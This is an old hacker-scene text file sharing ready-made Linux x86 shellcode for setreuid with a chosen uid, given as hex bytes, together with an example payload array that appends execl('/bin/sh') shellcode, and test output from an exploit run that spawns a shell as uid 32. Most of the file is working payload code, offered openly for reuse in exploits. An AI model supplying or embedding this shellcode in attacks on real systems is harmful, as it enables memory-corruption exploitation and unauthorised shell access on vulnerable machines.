(linux)asm[setreuid(?,?)]:  pre-made shellcode. by:  vade79/v9[v9@fakehalo.org]
.
-------------------------------------------------------------------------------
-

*** CODE:

since i did not see(i was looking) shellcode/asm for setreuid(nonroot,nonroot),
i made myself some shellcode for such a need(good old gdb).  it will work for
uid values between 1-255(hex=0x01-0xff).  so, here it is already put into hex:

0x29, 0xC0, 0xB0, 0x46, 0x29, 0xDB, 0xB3, 0x??, 0x89, 0xD9, 0xCD, 0x80.

replace 0x?? with the hex of your gid value, like 0x20 = uid32. (hex->ascii)

so, in typical format: "\x29\xc0\xb0\x46\x29\xdb\xb3\x20\x89\xd9\xcd\x80" would
give you uid/euid = 32.

and just append this to your typical shellcode to execute /bin/sh:

*** EXAMPLE CODE:

char setreuid_exec[]=
 // setreuid(32, 32); (0x20=32)
 "\x29\xc0\xb0\x46\x29\xdb\xb3\x20\x89\xd9\xcd\x80"
 // execl("/bin/sh"); (with 0x01 of course :P)
 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
 "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
 "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";

*** TEST:

# ./test_exp
return address: 0xbffff544, offset: 500.
shell-init: could not get current directory: getwd: cannot access parent direct
ories
bash$ id
job-working-directory: could not get current directory: getwd: cannot access pa
rent directories
fakehalo: uid:32 gid:0. [euid:32 egid:0]
bash$ 

*** NOTE:

i don't think i'm the only one who will ever need this, so here it is for
others - save yourself some time.  the ironic thing is, i forgot what i
originally wanted this shellcode for after i made it.

-- vade79 / v9@fakehalo.org / www.fakehalo.org->www.realhalo.org. --